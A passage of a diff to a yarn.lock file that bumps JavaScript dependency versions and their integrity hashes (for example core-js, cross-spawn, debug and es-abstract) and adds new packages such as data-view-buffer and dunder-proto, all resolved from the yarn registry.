+  integrity sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==
 
 copy-descriptor@^0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js-pure@^3.0.0:
-  version "3.6.5"
-  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz#c79e75f5e38dbc85a662d91eea52b8256d53b813"
-  integrity sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==
+  integrity sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==
 
 core-js@^2.4.0:
-  version "2.6.11"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.11.tgz#38831469f9922bded8ee21c9dc46985e0399308c"
-  integrity sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==
+  version "2.6.12"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec"
+  integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
 
 core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85"
+  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
 
 cosmiconfig@^5.0.7, cosmiconfig@^5.2.0:
   version "5.2.1"
@@ -646,16 +756,16 @@ cosmiconfig@^5.0.7, cosmiconfig@^5.2.0:
 cross-spawn@^5.0.1, cross-spawn@^5.1.0:
   version "5.1.0"
   resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-5.1.0.tgz#e8bd0efee58fcff6f8f94510a0a554bbfa235449"
-  integrity sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=
+  integrity sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==
   dependencies:
     lru-cache "^4.0.1"
     shebang-command "^1.2.0"
     which "^1.2.9"
 
 cross-spawn@^6.0.0, cross-spawn@^6.0.5:
-  version "6.0.5"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
+  version "6.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.6.tgz#30d0efa0712ddb7eb5a76e1e8721bffafa6b5d57"
+  integrity sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==
   dependencies:
     nice-try "^1.0.4"
     path-key "^2.0.1"
@@ -663,87 +773,125 @@ cross-spawn@^6.0.0, cross-spawn@^6.0.5:
     shebang-command "^1.2.0"
     which "^1.2.9"
 
-damerau-levenshtein@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.6.tgz#143c1641cb3d85c60c32329e26899adea8701791"
-  integrity sha512-JVrozIeElnj3QzfUIt8tB8YMluBJom4Vw9qTPpjGYQ9fYlB3D/rb6OordUxf3xeFB35LKWs0xqcO5U6ySvBtug==
+damerau-levenshtein@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
+  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
+
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
 
 date-fns@^1.27.2:
   version "1.30.1"
   resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-1.30.1.tgz#2e71bf0b119153dbb4cc4e88d9ea5acfb50dc05c"
   integrity sha512-hBSVCvSmWC+QypYObzwGOd9wqdDpOt+0wl0KbU+R+uuZBS1jN8VsD1ss3irQDknRj5NvxiTF6oj/nDRnN/UQNw==
 
-debug@^2.2.0, debug@^2.3.3, debug@^2.6.9:
+debug@^2.2.0, debug@^2.3.3:
   version "2.6.9"
   resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
   integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
   dependencies:
     ms "2.0.0"
 
-debug@^3.1.0:
-  version "3.2.6"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.6.tgz#e83d17de16d8a7efb7717edbe5fb10135eee629b"
-  integrity sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==
+debug@^3.1.0, debug@^3.2.7:
+  version "3.2.7"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
+  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
   dependencies:
     ms "^2.1.1"
 
-debug@^4.0.1, debug@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.1.1.tgz#3b72260255109c6b589cee050f1d516139664791"
-  integrity sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==
+debug@^4.0.1, debug@^4.3.1:
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.1.tgz#e5a8bc6cbc4c6cd3e64308b0693a3d4fa550189b"
+  integrity sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==
   dependencies:
-    ms "^2.1.1"
+    ms "^2.1.3"
 
 decamelize@^1.1.1:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
+  integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
 
 decode-uri-component@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-  integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
+  version "0.2.2"
+  resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.2.tgz#e69dbe25d37941171dd540e024c444cd5188e1e9"
+  integrity sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==
 
 dedent@^0.7.0:
   version "0.7.0"
   resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
-  integrity sha1-JJXduvbrh0q7Dhvp3yLS5aVEMmw=
+  integrity sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==
 
 deep-equal@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.2.tgz#78a561b7830eef3134c7f6f3a3d6af272a678761"
+  integrity sha512-5tdhKF6DbU7iIzrIOa1AOUt39ZRm13cmL1cGEh//aqR8x9+tNfbywRf0n5FD/18OKMdo7DNEtrX2t22ZAkI+eg==
   dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
+    is-arguments "^1.1.1"
+    is-date-object "^1.0.5"
+    is-regex "^1.1.4"
+    object-is "^1.1.5"
     object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
+    regexp.prototype.flags "^1.5.1"
 
 deep-is@~0.1.3:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
 
-define-properties@^1.1.2, define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
   dependencies:
-    object-keys "^1.0.12"
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-properties@^1.1.3, define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
 
 define-property@^0.2.5:
   version "0.2.5"
   resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
+  integrity sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==
   dependencies:
     is-descriptor "^0.1.0"
 
 define-property@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
+  integrity sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==
   dependencies:
     is-descriptor "^1.0.0"
 
@@ -758,7 +906,7 @@ define-property@^2.0.2:
 del@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/del/-/del-3.0.0.tgz#53ecf699ffcbcb39637691ab13baf160819766e5"
-  integrity sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=
+  integrity sha512-7yjqSoVSlJzA4t/VUwazuEagGeANEKB3f/aNI//06pfKgwoCb7f6Q1gETN1sZzYaj6chTQ0AhIwDiPdfOjko4A==
   dependencies:
     globby "^6.1.0"
     is-path-cwd "^1.0.0"
@@ -775,15 +923,7 @@ dlv@^1.1.0:
 docopt@^0.6.2:
   version "0.6.2"
   resolved "https://registry.yarnpkg.com/docopt/-/docopt-0.6.2.tgz#b28e9e2220da5ec49f7ea5bb24a47787405eeb11"
-  integrity sha1-so6eIiDaXsSffqW7JKR3h0Be6xE=
-
-doctrine@1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-1.5.0.tgz#379dce730f6166f76cefa4e6707a159b02c5a6fa"
-  integrity sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=
-  dependencies:
-    esutils "^2.0.2"
-    isarray "^1.0.0"
+  integrity sha512-NqTbaYeE4gA/wU1hdKFdU+AFahpDOpgGLzHP42k6H6DKExJd0A55KEVWYhL9FEmHmgeLvEU2vuKXDuU+4yToOw==
 
 doctrine@^2.1.0:
   version "2.1.0"
@@ -799,60 +939,173 @@ doctrine@^3.0.0:
   dependencies:
     esutils "^2.0.2"
 
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
 elegant-spinner@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/elegant-spinner/-/elegant-spinner-1.0.1.tgz#db043521c95d7e303fd8f345bedc3349cfb0729e"
-  integrity sha1-2wQ1IcldfjA/2PNFvtwzSc+wcp4=
+  integrity sha512-B+ZM+RXvRqQaAmkMlO/oSe5nMUOaUnyfGYCEHoR8wrXsZR2mA0XVibsxV1bvTwxdRWah1PkQqso2EzhILGHtEQ==
 
-emoji-regex@^7.0.1, emoji-regex@^7.0.2:
+emoji-regex@^7.0.1:
   version "7.0.3"
   resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
   integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
 
+emoji-regex@^9.2.2:
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
+
 end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+  version "1.4.5"
+  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.5.tgz#7344d711dea40e0b74abc2ed49778743ccedb08c"
+  integrity sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==
   dependencies:
     once "^1.4.0"
 
-error-ex@^1.2.0, error-ex@^1.3.1:
+error-ex@^1.3.1:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
   integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
   dependencies:
     is-arrayish "^0.2.1"
 
-es-abstract@^1.17.0, es-abstract@^1.17.0-next.1, es-abstract@^1.17.5:
-  version "1.17.5"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.5.tgz#d8c9d1d66c8981fb9200e2251d799eee92774ae9"
-  integrity sha512-BR9auzDbySxOcfog0tLECW8l28eRGpDpU3Dm3Hp4q/N+VtLTmyj4EUN088XZWQDW/hzj6sYRDXeOFsaAODKvpg==
+es-abstract@^1.17.5, es-abstract@^1.23.2, es-abstract@^1.23.3, es-abstract@^1.23.5, es-abstract@^1.23.6, es-abstract@^1.23.9, es-abstract@^1.24.0:
+  version "1.24.0"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz#c44732d2beb0acc1ed60df840869e3106e7af328"
+  integrity sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==
   dependencies:
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-    is-callable "^1.1.5"
-    is-regex "^1.0.5"
-    object-inspect "^1.7.0"
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.3.0"
+    get-proto "^1.0.1"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.2"
+    is-negative-zero "^2.0.3"
+    is-regex "^1.2.1"
+    is-set "^2.0.3"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.1"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.4"
     object-keys "^1.1.1"
-    object.assign "^4.1.0"
-    string.prototype.trimleft "^2.1.1"
-    string.prototype.trimright "^2.1.1"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.4"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    stop-iteration-iterator "^1.1.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.19"
 
-es-to-primitive@^1.2.1:
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-iterator-helpers@^1.2.1:
   version "1.2.1"
-  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz#d1dd0f58129054c0ad922e6a9a1e65eef435fe75"
+  integrity sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==
   dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-set-tostringtag "^2.0.3"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.6"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    iterator.prototype "^1.1.4"
+    safe-array-concat "^1.1.3"
+
+es-object-atoms@^1.0.0, es-object-atoms@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.0.3, es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
+  dependencies:
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+es-shim-unscopables@^1.0.2, es-shim-unscopables@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz#438df35520dac5d105f3943d927549ea3b00f4b5"
+  integrity sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==
+  dependencies:
+    hasown "^2.0.2"
+
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
+  dependencies:
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
 
 escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.4, escape-string-regexp@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
+  integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
 
 eslint-config-airbnb-base@^13.2.0:
   version "13.2.0"
@@ -884,21 +1137,21 @@ eslint-config-standard@^12.0.0:
   resolved "https://registry.yarnpkg.com/eslint-config-standard/-/eslint-config-standard-12.0.0.tgz#638b4c65db0bd5a41319f96bba1f15ddad2107d9"
   integrity sha512-COUz8FnXhqFitYj4DTqHzidjIL/t4mumGZto5c7DrBpvWoie+Sn3P4sLEzUGeYhRElWuFEf8K1S1EfvD1vixCQ==
 
-eslint-import-resolver-node@^0.3.2:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.3.tgz#dbaa52b6b2816b50bc6711af75422de808e98404"
-  integrity sha512-b8crLDo0M5RSe5YG8Pu2DYBj71tSB6OvXkfzwbJU2w7y8P4/yo0MyF8jU26IEuEuHF2K5/gcAJE3LhQGqBBbVg==
+eslint-import-resolver-node@^0.3.9:
+  version "0.3.9"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
+  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
   dependencies:
-    debug "^2.6.9"
-    resolve "^1.13.1"
+    debug "^3.2.7"
+    is-core-module "^2.13.0"
+    resolve "^1.22.4"
 
-eslint-module-utils@^2.4.1:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.6.0.tgz#579ebd094f56af7797d19c9866c9c9486629bfa6"
-  integrity sha512-6j9xxegbqe8/kZY8cYpcp0xhbK0EgJlg3g9mib3/miLaExuuwc3n5UEfSnU6hWMbT0FAYVvDbL9RrRgpUeQIvA==
+eslint-module-utils@^2.12.1:
+  version "2.12.1"
+  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz#f76d3220bfb83c057651359295ab5854eaad75ff"
+  integrity sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==
   dependencies:
-    debug "^2.6.9"
-    pkg-dir "^2.0.0"
+    debug "^3.2.7"
 
 eslint-plugin-es@^1.3.1:
   version "1.4.1"
@@ -909,37 +1162,50 @@ eslint-plugin-es@^1.3.1:
     regexpp "^2.0.1"
 
 eslint-plugin-import@^2.14.0:
-  version "2.20.2"
